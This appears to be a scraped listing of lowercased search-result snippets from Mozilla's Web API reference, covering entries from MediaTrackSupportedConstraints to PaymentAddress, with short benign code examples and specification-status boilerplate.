= { video: { }, audio: false; }; if (supportedconstraints.logicalsurface) { displaymediaoptions.video.logicalsurface = "monitor"; } try { videoelem.srcobject = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } catch(err) { /* handle the error */ } } specifications specification status comment screen capturethe definition of 'mediatracksupportedconstraints.logicalsurface' in that specification.
... working draft initial definition ...
MediaTrackSupportedConstraints.noiseSuppression - Web APIs
ent #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().noisesuppression) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'noisesuppression' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.sampleRate - Web APIs
css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().samplerate) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'samplerate' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.sampleSize - Web APIs
css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().samplesize) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'samplesize' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.width - Web APIs
/div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().width) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'width' in that specification.
... candidate recommendation initial specification.
Media Source API - Web APIs
trackdefault provides a sourcebuffer with kind, label, and language information for tracks that do not contain this information in the initialization segments of a media chunk.
... specifications specification status comment media source extensions recommendation initial definition.
MerchantValidationEvent() - Web APIs
specifications specification status comment payment request apithe definition of 'merchantvalidationevent()' in that specification.
... candidate recommendation initial definition.
MerchantValidationEvent.complete() - Web APIs
specifications specification status comment payment request apithe definition of 'merchantvalidationevent.complete()' in that specification.
... candidate recommendation initial definition.
MerchantValidationEvent.methodName - Web APIs
specifications specification status comment payment request apithe definition of 'merchantvalidationevent.methodname' in that specification.
... candidate recommendation initial definition.
MerchantValidationEvent.validationURL - Web APIs
specifications specification status comment payment request apithe definition of 'merchantvalidationevent.validationurl' in that specification.
... candidate recommendation initial definition.
MerchantValidationEvent - Web APIs
specifications specification status comment payment request apithe definition of 'merchantvalidationevent' in that specification.
... candidate recommendation initial definition.
MessageChannel.port2 - Web APIs
the port2 read-only property of the messagechannel interface returns the second port of the message channel — the port attached to the context at the other end of the channel, which the message is initially sent to.
... specifications specification status comment html living standardthe definition of 'port2' in that specification.
MessageEvent.ports - Web APIs
} specifications specification status comment html living standardthe definition of 'ports' in that specification.
... living standard initial definition ...
MessageEvent - Web APIs
initmessageevent() initializes a message event.
...} specifications specification status comment html living standardthe definition of 'messageevent' in that specification.
MimeType - Web APIs
WebAPIMimeType
specifications specification status comment html living standardthe definition of 'mimetype' in that specification.
... living standard initial definition.
MimeTypeArray - Web APIs
} specifications specification status comment html living standardthe definition of 'mimetypearray' in that specification.
... living standard initial definition.
MouseEvent.getModifierState() - Web APIs
specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'getmodifierstate()' in that specification.
... obsolete initial definition.
MouseEvent.movementX - Web APIs
javascript function logmovement(event) { log.insertadjacenthtml('afterbegin', `movement: ${event.movementx}, ${event.movementy}<br>`); while (log.childnodes.length > 128) log.lastchild.remove() } const log = document.getelementbyid('log'); document.addeventlistener('mousemove', logmovement); result specifications specification status comment pointer lockthe definition of 'mouseevent.movementx' in that specification.
... candidate recommendation initial definition ...
MouseEvent.movementY - Web APIs
html <p id="log">move your mouse around.</p> javascript function logmovement(event) { log.innertext = `movement: ${event.movementx}, ${event.movementy}\n${log.innertext}`; } const log = document.getelementbyid('log'); document.addeventlistener('mousemove', logmovement); result specifications specification status comment pointer lockthe definition of 'mouseevent.movementy' in that specification.
... candidate recommendation initial definition.
MouseEvent.offsetX - Web APIs
specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent' in that specification.
... working draft initial definition ...
MouseEvent.offsetY - Web APIs
specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent' in that specification.
... working draft initial definition ...
MouseEvent.x - Web APIs
WebAPIMouseEventx
specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent.x' in that specification.
... working draft initial definition ...
MouseEvent.y - Web APIs
WebAPIMouseEventy
specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent.y' in that specification.
... working draft initial definition.
MouseScrollEvent - Web APIs
method overview void initmousescrollevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstractview viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtargetarg, in long axis); attributes attribute type de...
... methods initmousescrollevent() see nsidommousescrollevent::initmousescrollevent().
NDEFRecord() - Web APIs
syntax writer = new ndefrecord(ndefrecordinit); parameters ndefrecordinit read only ndefrecordinit with initialization data.
... specifications specification status comment web nfc, ndefrecord draft initial definition.
NDEFWriter.write() - Web APIs
WebAPINDEFWriterwrite
syntax var sessionpromise = ndefwriter.write(message, options); parameters message the message to be written, either domstring or buffersource or ndefmessageinit.
... specifications specification status comment web nfc, write() draft initial definition.
NameList - Web APIs
WebAPINameList
specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'namelist' in that specification.
... obsolete initial definition ...
NavigationPreloadManager - Web APIs
return fetch(event.request); }()); }); specifications specification status comment service workersthe definition of 'navigationpreloadmanager' in that specification.
... working draft initial definition.
Navigation Timing API - Web APIs
calculate request response time you can calculate the time elapsed between the beginning of a request and the completion of getting the response using code like this: const connecttime = perfdata.responseend - perfdata.requeststart; here, the time at which the request was initiated (requeststart).
... specifications specification status comment navigation timing level 2 working draft adds performancenavigationtiming navigation timing recommendation initial definition.
Navigator.canShare() - Web APIs
} specifications specification status comment web share api - level 2the definition of 'canshare' in that specification.
... draft initial definition.
Navigator.clipboard - Web APIs
specifications specification status comment clipboard api and eventsthe definition of 'navigator.clipboard' in that specification.
... working draft initial definition.
Navigator.cookieEnabled - Web APIs
} specifications specification status comment html living standardthe definition of 'navigator.cookieenabled' in that specification.
... living standard initial definition ...
Navigator.deviceMemory - Web APIs
example const memory = navigator.devicememory console.log (`this device has at least ${memory}gib of ram.`) specifications specification status comment device memory 1the definition of 'devicememory' in that specification.
... editor's draft initial definition.
Navigator.doNotTrack - Web APIs
example console.log(navigator.donottrack); // prints "1" if dnt is enabled; "0" if the user opted-in for tracking; otherwise this is "unspecified" specifications specification status comment tracking preference expression (dnt)the definition of 'navigator.donottrack' in that specification.
... obsolete initial definition ...
Navigator.geolocation - Web APIs
syntax geo = navigator.geolocation specifications specification status comment geolocation apithe definition of 'navigator.geolocation' in that specification.
... recommendation initial definition ...
Navigator.getBattery() - Web APIs
specifications specification status comment battery status apithe definition of 'navigator.getbattery()' in that specification.
... candidate recommendation initial definition ...
Navigator.getGamepads() - Web APIs
%d buttons, %d axes.", gp.index, gp.id, gp.buttons.length, gp.axes.length ); }); specifications specification status comment gamepadthe definition of 'the gamepad api specification' in that specification.
... working draft initial definition.
Navigator.keyboard - Web APIs
specifications specification status comment keyboard mapthe definition of 'keyboard' in that specification.
... editor's draft initial definition.
Navigator.locks - Web APIs
WebAPINavigatorlocks
specifications specification status comment web locks apithe definition of 'locks' in that specification.
... draft initial definition.
Navigator.mediaDevices - Web APIs
specifications specification status comment media capture and streamsthe definition of 'navigatorusermedia.mediadevices' in that specification.
... candidate recommendation initial definition.
Navigator.mediaSession - Web APIs
if ("mediasession" in navigator){ navigator.mediasession.metadata = new mediametadata({ title: "podcast episode title", artist: "podcast host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); } specifications specification status comment media session standardthe definition of 'navigator.mediasession' in that specification.
... draft initial definition.
Navigator.oscpu - Web APIs
WebAPINavigatoroscpu
specifications specification status comment html living standardthe definition of 'navigatorid: oscpu' in that specification.
... living standard initial definition ...
Navigator.productSub - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorid: productsub' in that specification.
... living standard initial definition ...
Navigator.requestMediaKeySystemAccess() - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'requestmediakeysystemaccess()' in that specification.
... recommendation initial definition ...
Navigator.sendBeacon() - Web APIs
specifications specification status comment beaconthe definition of 'sendbeacon()' in that specification.
... candidate recommendation initial definition ...
Navigator.serviceWorker - Web APIs
} specifications specification status comment service workersthe definition of 'navigator.serviceworker' in that specification.
... working draft initial definition.
Navigator.vendorSub - Web APIs
syntax vensub = window.navigator.vendorsub value the empty string specifications specification status comment html living standardthe definition of 'navigatorid: vendorsub' in that specification.
... living standard initial definition ...
Navigator.xr - Web APIs
WebAPINavigatorxr
*/ } else { /* webxr isn't available */ } specifications specification status comment webxr device apithe definition of 'navigator.xr' in that specification.
... working draft initial definition.
navigator.hardwareConcurrency - Web APIs
let workerlist = []; for (let i = 0; i < window.navigator.hardwareconcurrency; i++) { let newworker = { worker: new worker('cpuworker.js'), inuse: false }; workerlist.push(newworker); } specification specification status comment html living standardthe definition of 'navigator.hardwareconcurrency' in that specification.
... living standard initial definition.
NavigatorConcurrentHardware - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorconcurrenthardware' in that specification.
... living standard initial definition.
NavigatorID.appCodeName - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorid.appcodename' in that specification.
... living standard initial definition ...
NavigatorID.appName - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorid.appname' in that specification.
... living standard initial definition ...
NavigatorID.appVersion - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorid.appversion' in that specification.
... living standard initial definition ...
NavigatorID.platform - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorid.platform' in that specification.
... living standard initial definition.
NavigatorID.product - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorid.product' in that specification.
... living standard initial definition ...
NavigatorID.taintEnabled() - Web APIs
syntax result = window.navigator.taintenabled() specifications specification status comment html living standardthe definition of 'navigatorid.taintenabled' in that specification.
... living standard initial definition ...
NavigatorID.userAgent - Web APIs
ename/appversion number (platform; security; os-or-cpu; localization; rv: revision-version-number) product/productsub application-name application-name-version example alert(window.navigator.useragent) // alerts "mozilla/5.0 (windows; u; win98; en-us; rv:0.9.2) gecko/20010725 netscape6/6.1" specifications specification status comment html living standardthe definition of 'navigatorid.useragent' in that specification.
... living standard initial definition ...
NavigatorLanguage.language - Web APIs
example if (/^en\b/.test(navigator.language)) { dolangselect(window.navigator.language); } specifications specification status comment html living standardthe definition of 'navigatorlanguage: language' in that specification.
... living standard initial definition ...
NavigatorLanguage.languages - Web APIs
syntax preferredlanguages = globalobj.navigator.languages examples navigator.language //"en-us" navigator.languages //["en-us", "zh-cn", "ja-jp"] specifications specification status comment html living standardthe definition of 'navigatorlanguage: languages' in that specification.
... living standard initial definition ...
Navigator.onLine - Web APIs
e changes in the network state, use addeventlistener to listen for the events on window.online and window.offline, as in the following example: window.addeventlistener('offline', function(e) { console.log('offline'); }); window.addeventlistener('online', function(e) { console.log('online'); }); specifications specification status comment html living standardthe definition of 'navigator.online' in that specification.
... living standard initial definition ...
NavigatorPlugins.javaEnabled() - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorplugins.javaenabled' in that specification.
... living standard initial definition.
NavigatorPlugins.mimeTypes - Web APIs
rn 'application/x-java-applet' in navigator.mimetypes; } function getjavaplugindescription() { var mimetype = navigator.mimetypes['application/x-java-applet']; if (mimetype === undefined) { // no java plugin present return undefined; } return mimetype.enabledplugin.description; } specifications specification status comment html living standardthe definition of 'navigatorplugins.mimetypes' in that specification.
... living standard initial definition.
NavigatorPlugins.plugins - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorplugins.plugins' in that specification.
... living standard initial definition.
NavigatorPlugins - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorplugins' in that specification.
... living standard initial definition.
NavigatorStorage.storage - Web APIs
specifications specification status comment storagethe definition of 'navigator.storage' in that specification.
... living standard initial definition.
NetworkInformation.downlink - Web APIs
specifications specification status comment network information apithe definition of 'downlink' in that specification.
... draft initial definition.
NetworkInformation.downlinkMax - Web APIs
kmax' in navigator.connection) { downlinkmax = navigator.connection.downlinkmax; } } console.log('current connection type: ' + connectiontype + ' (downlink max: ' + downlinkmax + ')'); } logconnectiontype(); navigator.connection.addeventlistener('change', logconnectiontype); specifications specification status comment network information apithe definition of 'downlinkmax' in that specification.
... draft initial definition ...
NetworkInformation.effectiveType - Web APIs
specifications specification status comment network information apithe definition of 'effectivetype' in that specification.
... draft initial definition.
NetworkInformation.onchange - Web APIs
} // register for event changes: navigator.connection.onchange = changehandler; // another way: navigator.connection.addeventlistener('change', changehandler); specifications specification status comment network information apithe definition of 'onchange' in that specification.
... draft initial definition ...
NetworkInformation.rtt - Web APIs
specifications specification status comment network information apithe definition of 'rtt' in that specification.
... draft initial definition ...
NetworkInformation.type - Web APIs
syntax var type = netinfo.type return value an enumerated value that is one of the following values: "bluetooth" "cellular" "ethernet" "none" "wifi" "wimax" "other" "unknown" specifications specification status comment network information apithe definition of 'type' in that specification.
... draft initial definition ...
NetworkInformation - Web APIs
specifications specification status comment network information apithe definition of 'networkinformation' in that specification.
... draft initial definition ...
Node.contains() - Web APIs
WebAPINodecontains
false : document.body.contains(node); } specifications specification status comment domthe definition of 'node.contains()' in that specification.
... living standard initial definition ...
Node.getRootNode() - Web APIs
WebAPINodegetRootNode
t.queryselector('.js-shadowchild'); // the default value of composed is false console.log(shadowchild.getrootnode() === shadowroot); // true console.log(shadowchild.getrootnode({composed:false}) === shadowroot); // true console.log(shadowchild.getrootnode({composed:true}).nodename); // #document </script> specifications specification status comment domthe definition of 'getrootnode()' in that specification.
... living standard initial definition.
Node.getUserData() - Web APIs
WebAPINodegetUserData
example var d = document.setuserdata('key', 15, null); console.log(document.getuserdata('key')); // 15 specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'node.getuserdata()' in that specification.
... obsolete initial definition.
Node.isConnected - Web APIs
WebAPINodeisConnected
*/ if (!('isconnected' in node.prototype)) { object.defineproperty(node.prototype, 'isconnected', { get() { return ( !this.ownerdocument || !( this.ownerdocument.comparedocumentposition(this) & this.document_position_disconnected ) ); }, }); } specifications specification status comment domthe definition of 'isconnected' in that specification.
... living standard initial definition.
Node.parentElement - Web APIs
example if (node.parentelement) { node.parentelement.style.color = "red"; } specifications specification status comment domthe definition of 'parentelement' in that specification.
... living standard initial definition.
Node.setUserData() - Web APIs
WebAPINodesetUserData
/ 2::key::15::[object element]::[object element] console.log(d.documentelement.getuserdata('key')); // 15 var e = document.importnode(d.documentelement, true); // causes handler to be called console.log(e.getuserdata('key')); // null since user data is not copied specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'node.setuserdata()' in that specification.
... obsolete initial definition ...
NodeIterator.expandEntityReferences - Web APIs
ityreferences; example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); expand = nodeiterator.expandentityreferences; specifications specification status comment document object model (dom) level 2 traversal and range specificationthe definition of 'nodeiterator.expandentityreferences' in that specification.
... obsolete initial definition.
NodeIterator.pointerBeforeReferenceNode - Web APIs
syntax flag = nodeiterator.pointerbeforereferencenode; example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); flag = nodeiterator.pointerbeforereferencenode; specifications specification status comment domthe definition of 'nodeiterator.pointerbeforereferencenode' in that specification.
... living standard initial definition.
NodeIterator.referenceNode - Web APIs
syntax node = nodeiterator.referencenode; example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); node = nodeiterator.referencenode; specifications specification status comment domthe definition of 'nodeiterator.referencenode' in that specification.
... living standard initial definition.
Notification.Notification() - Web APIs
function spawnnotification(thebody,theicon,thetitle) { var options = { body: thebody, icon: theicon } var n = new notification(thetitle,options); } specifications specification status comment notifications apithe definition of 'notification() constructor' in that specification.
... living standard initial definition.
Notification.badge - Web APIs
specifications specification status comment notifications apithe definition of 'badge' in that specification.
... living standard initial definition.
Notification.onerror - Web APIs
}; specifications specification status comment notifications apithe definition of 'onerror' in that specification.
... living standard initial specification.
NotificationEvent.NotificationEvent() - Web APIs
syntax var mynotificationevent = new notificationevent(type, notificationeventinit); parameters type tbd notificationeventinit optional a dictionary object containing a notification object to be used as the notification the event is dispatched on.
... example var n = new notification('hello'); var init = { notification: n }; var mynotificationevent = new notificationevent(type, init); specifications specification status comment notifications apithe definition of 'notificationevent() constructor' in that specification.
OES_element_index_uint - Web APIs
examples var ext = gl.getextension('oes_element_index_uint'); gl.drawelements(gl.points, 8, gl.unsigned_int, 0); specifications specification status comment oes_element_index_uintthe definition of 'oes_element_index_uint' in that specification.
... recommendation initial definition.
OES_standard_derivatives - Web APIs
_shader_texture_lod : enable #extension gl_oes_standard_derivatives : enable uniform sampler2d mytexture; varying vec2 texcoord; void main(){ gl_fragcolor = texture2dgradext(mytexture, mod(texcoord, vec2(0.1, 0.5)), dfdx(texcoord), dfdy(texcoord)); } </script> specifications specification status comment oes_standard_derivativesthe definition of 'oes_standard_derivatives' in that specification.
... recommendation initial definition.
OES_texture_float - Web APIs
examples var ext = gl.getextension('oes_texture_float'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.teximage2d(gl.texture_2d, 0, gl.rgba, gl.rgba, gl.float, image); specifications specification status comment oes_texture_floatthe definition of 'oes_texture_float' in that specification.
... recommendation initial definition.
OES_texture_float_linear - Web APIs
es gl.getextension('oes_texture_float'); gl.getextension('oes_texture_float_linear'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.texparameterf(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.teximage2d(gl.texture_2d, 0, gl.rgba, gl.rgba, gl.float, image); specifications specification status comment oes_texture_float_linearthe definition of 'oes_texture_float_linear' in that specification.
... recommendation initial definition.
OES_texture_half_float - Web APIs
examples var ext = gl.getextension('oes_texture_half_float'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.teximage2d(gl.texture_2d, 0, gl.rgba, gl.rgba, ext.half_float_oes, image); specifications specification status comment oes_texture_half_floatthe definition of 'oes_texture_half_float' in that specification.
... recommendation initial definition.
OES_texture_half_float_linear - Web APIs
e_half_float'); gl.getextension('oes_texture_half_float_linear'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.texparameterf(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.teximage2d(gl.texture_2d, 0, gl.rgba, gl.rgba, halffloat.half_float_oes, image); specifications specification status comment oes_texture_half_float_linearthe definition of 'oes_texture_half_float_linear' in that specification.
... recommendation initial definition.
OES_vertex_array_object.bindVertexArrayOES() - Web APIs
specifications specification status comment oes_vertex_array_objectthe definition of 'oes_vertex_array_object' in that specification.
... recommendation initial definition.
OES_vertex_array_object.deleteVertexArrayOES() - Web APIs
ext.deletevertexarrayoes(vao); specifications specification status comment oes_vertex_array_objectthe definition of 'oes_vertex_array_object' in that specification.
... recommendation initial definition.
OES_vertex_array_object.isVertexArrayOES() - Web APIs
ext.isvertexarrayoes(vao); specifications specification status comment oes_vertex_array_objectthe definition of 'oes_vertex_array_object' in that specification.
... recommendation initial definition.
OES_vertex_array_object - Web APIs
specifications specification status comment oes_vertex_array_objectthe definition of 'oes_vertex_array_object' in that specification.
... recommendation initial definition.
OfflineAudioCompletionEvent.renderedBuffer - Web APIs
specifications specification status comment web audio apithe definition of 'renderedbuffer' in that specification.
... working draft initial definition.
OfflineAudioContext.length - Web APIs
specifications specification status comment web audio apithe definition of 'length' in that specification.
... working draft initial definition.
OfflineAudioContext.resume() - Web APIs
specifications specification status comment web audio apithe definition of 'resume()' in that specification.
... working draft initial definition.
OfflineAudioContext.suspend() - Web APIs
invalidstateerror if the quantized frame number is one of the following: a negative number is less than or equal to the current time is greater than or equal to the total render duration is scheduled by another suspend for the same time specifications specification status comment web audio apithe definition of 'suspend()' in that specification.
... working draft initial definition.
OfflineAudioContext - Web APIs
art(); } }).catch(function(err) { console.log('rendering failed: ' + err); // note: the promise should reject when startrendering is called a second time on an offlineaudiocontext }); }); } request.send(); } // run getdata to start the process off getdata(); specifications specification status comment web audio apithe definition of 'offlineaudiocontext' in that specification.
... working draft initial definition ...
OffscreenCanvas() - Web APIs
we then initialize a webgl context on it using the getcontext() method.
... let offscreen = new offscreencanvas(256, 256); let gl = offscreen.getcontext('webgl'); specifications specification status comment html living standardthe definition of 'offscreencanvas()' in that specification.
OrientationSensor.populateMatrix() - Web APIs
parameters targetmatrix tbd return value undefined example // tbd specifications specification status comment orientation sensorthe definition of 'populatematrix' in that specification.
... candidate recommendation initial definition.
OrientationSensor.quaternion - Web APIs
example // tbd specifications specification status comment orientation sensorthe definition of 'quaternion' in that specification.
... candidate recommendation initial definition.
OrientationSensor - Web APIs
} else { console.log("no permissions to use absoluteorientationsensor."); } }); specifications specification status comment orientation sensorthe definition of 'orientationsensor' in that specification.
... candidate recommendation initial definition.
OscillatorNode.setPeriodicWave() - Web APIs
var real = new float32array(2); var imag = new float32array(2); var ac = new audiocontext(); var osc = ac.createoscillator(); real[0] = 0; imag[0] = 0; real[1] = 1; imag[1] = 0; var wave = ac.createperiodicwave(real, imag); osc.setperiodicwave(wave); osc.connect(ac.destination); osc.start(); osc.stop(2); this works because a sound that contains only a fundamental tone is by definition a sine wave.
... specifications specification status comment web audio apithe definition of 'setperiodicwave' in that specification.
OscillatorNode - Web APIs
its basic property defaults (see audionode for definitions) are: number of inputs 0 number of outputs 1 channel count mode max channel count 2 (not used in the default count mode) channel interpretation speakers constructor oscillatornode() creates a new instance of an oscillatornode object, optionally providing an object specifying default values for the node's properties.
...ctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.connect(audioctx.destination); oscillator.start(); specifications specification status comment web audio apithe definition of 'oscillatornode' in that specification.
OverconstrainedError.OverconstrainedError() - Web APIs
specifications specification status comment media capture and streamsthe definition of 'overconstrainederror' in that specification.
... candidate recommendation initial definition.
OverconstrainedError.constraint - Web APIs
syntax var constraint = overconstrainederror.constraint; value a string specifications specification status comment media capture and streamsthe definition of 'constraint' in that specification.
... candidate recommendation initial definition.
OverconstrainedError.message - Web APIs
specifications specification status comment media capture and streamsthe definition of 'message' in that specification.
... candidate recommendation initial definition.
OverconstrainedError.name - Web APIs
specifications specification status comment media capture and streamsthe definition of 'name' in that specification.
... candidate recommendation initial definition.
OverconstrainedError - Web APIs
specifications specification status comment media capture and streamsthe definition of 'overconstrainederror' in that specification.
... candidate recommendation initial definition.
PageTransitionEvent.persisted - Web APIs
specifications specification status comment html living standardthe definition of 'pagetransitionevent: persisted' in that specification.
... living standard initial definition ...
PageTransitionEvent - Web APIs
example html <!doctype html> <html> <body> </body> </html> javascript window.addeventlistener('pageshow', myfunction); function myfunction(event) { if (event.persisted) { alert("the page was cached by the browser"); } else { alert("the page was not cached by the browser"); } } specifications specification status comment html living standardthe definition of 'pagetransitionevent' in that specification.
... living standard initial definition ...
Paint​Worklet​.device​Pixel​Ratio - Web APIs
specifications specification status comment css painting api level 1the definition of 'paintworklet.devicepixelratio' in that specification.
... working draft initial definition.
PaintWorklet.devicePixelRatio - Web APIs
specifications specification status comment css painting api level 1the definition of 'paintworklet.devicepixelratio' in that specification.
... working draft initial definition.
PaintWorklet.devicePixelRatio - Web APIs
specifications specification status comment css painting api level 1the definition of 'paintworklet.devicepixelratio' in that specification.
... working draft initial definition.
PaintWorklet.registerPaint - Web APIs
li { background-image: paint(checkerboard); } specifications specification status comment css painting api level 1the definition of 'paintworklet.registerpaint' in that specification.
... working draft initial definition.
PaintWorklet - Web APIs
@supports (background: paint(id)) { background-image: paint(checkerboard); } specifications specification status comment css painting api level 1the definition of 'paintworkletglobalscope' in that specification.
... working draft initial definition.
PannerNode.distanceModel - Web APIs
generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
... specifications specification status comment web audio apithe definition of 'distancemodel' in that specification.
PannerNode.maxDistance - Web APIs
generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
... specifications specification status comment web audio apithe definition of 'maxdistance' in that specification.
PannerNode.panningModel - Web APIs
generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
... specifications specification status comment web audio apithe definition of 'panningmodel' in that specification.
PannerNode.refDistance - Web APIs
reates a graph for the test tone with a given refdistance // and schedules it to move away from the listener along the z (depth-wise) axis // at the given start time, resulting in a decrease in volume (decay) const scheduletesttone = (refdistance, starttime) => { const osc = new oscillatornode(context); const panner = new pannernode(context); panner.refdistance = refdistance; // set the initial z position, then schedule the ramp panner.positionz.setvalueattime(0, starttime); panner.positionz.linearramptovalueattime(z_distance, starttime + note_length); osc.connect(panner) .connect(context.destination); osc.start(starttime); osc.stop(starttime + note_length); }; // this tone should decay immediately and fairly quickly scheduletesttone(1, context.currenttime); // this...
...and later than the previous one scheduletesttone(4, context.currenttime + note_length); // this tone should decay only slightly, and only start decaying fairly late scheduletesttone(7, context.currenttime + note_length * 2); after running this code, the resulting waveforms should look something like this: specifications specification status comment web audio apithe definition of 'refdistance' in that specification.
PannerNode.setOrientation() - Web APIs
generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
... specifications specification status comment web audio apithe definition of 'setorientation()' in that specification.
PannerNode.setPosition() - Web APIs
generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
... specifications specification status comment web audio apithe definition of 'setposition()' in that specification.
PannerNode - Web APIs
generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
... specifications specification status comment web audio apithe definition of 'pannernode' in that specification.
ParentNode.append() - Web APIs
WebAPIParentNodeappend
argitem : document.createtextnode(string(argitem))); }); this.appendchild(docfrag); } }); }); })([element.prototype, document.prototype, documentfragment.prototype]); specification specification status comment domthe definition of 'parentnode.append()' in that specification.
... living standard initial definition.
ParentNode.children - Web APIs
ype, 'children', { get: function() { let i = 0, node, nodes = this.childnodes, children = []; while (node = nodes[i++]) { if (node.nodetype === 1) { children.push(node); } } return children; } }); } })(window.node || window.element); specification specification status comment domthe definition of 'parentnode.children' in that specification.
... living standard initial definition.
ParentNode.lastElementChild - Web APIs
note: this property was initially defined in the elementtraversal pure interface.
...tor.prototype, 'lastelementchild', { get: function() { var node, nodes = this.childnodes, i = nodes.length - 1; while(node = nodes[i--]) { if(node.nodetype === 1) { return node; } } return null; } }); } })(window.node || window.element); specification specification status comment domthe definition of 'parentnode.lastelementchild' in that specification.
ParentNode.prepend() - Web APIs
argitem : document.createtextnode(string(argitem))); }); this.insertbefore(docfrag, this.firstchild); } }); }); })([element.prototype, document.prototype, documentfragment.prototype]); specification specification status comment domthe definition of 'parentnode.prepend()' in that specification.
... living standard initial definition.
ParentNode.replaceChildren() - Web APIs
ons); }); nobtn.addeventlistener('click', () => { const selectedtransferoptions = document.queryselectorall('#yes option:checked'); const existingnooptions = document.queryselectorall('#no option'); noselect.replacechildren(...selectedtransferoptions, ...existingnooptions); }); the end result looks like this: specification specification status comment domthe definition of 'parentnode.replacechildren()' in that specification.
... living standard initial definition.
PasswordCredential - Web APIs
in supporting browsers, an instance of this class may be passed the credential from the init object for global fetch.
...}); specifications specification status comment credential management level 1 working draft initial definition.
PasswordCredential.iconURL - Web APIs
specifications specification status comment credential management level 1the definition of 'iconurl' in that specification.
... working draft initial definition.
PasswordCredential.name - Web APIs
specifications specification status comment credential management level 1the definition of 'name' in that specification.
... working draft initial definition.
PasswordCredential.password - Web APIs
specifications specification status comment credential management level 1the definition of 'password' in that specification.
... working draft initial definition.
PasswordCredential - Web APIs
in supporting browsers an instance of this class may be passed in the credential member of the init object for global fetch.
...}); specifications specification status comment credential management level 1 working draft initial definition.
Path2D() - Web APIs
WebAPIPath2DPath2D
<canvas id="canvas"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let p = new path2d('m10 10 h 80 v 80 h -80 z'); ctx.fill(p); specification specification status comment html living standardthe definition of 'path2d()' in that specification.
... living standard initial definition.
PayerErrors.email - Web APIs
WebAPIPayerErrorsemail
// } specifications specification status comment payment request apithe definition of 'payererrors.email' in that specification.
... candidate recommendation initial definition.
PayerErrors.name - Web APIs
WebAPIPayerErrorsname
// } specifications specification status comment payment request apithe definition of 'payererrors.name' in that specification.
... candidate recommendation initial definition.
PayerErrors.phone - Web APIs
WebAPIPayerErrorsphone
// } specifications specification status comment payment request apithe definition of 'payererrors.phone' in that specification.
... candidate recommendation initial definition.
PayerErrors - Web APIs
example specifications specification status comment payment request apithe definition of 'payererrors' in that specification.
... candidate recommendation initial definition.
PaymentAddress.addressLine - Web APIs
suite 441, 4th floor 2 30 great guildford street these, combined with additional values for other properties of the paymentaddress, would represent the full address, which is: mozilla metal box factory suite 441, 4th floor 30 great guildford street london se1 0hs united kingdom specifications specification status comment payment request apithe definition of 'paymentaddress.addressline' in that specification.
... candidate recommendation initial definition.
PaymentAddress.city - Web APIs
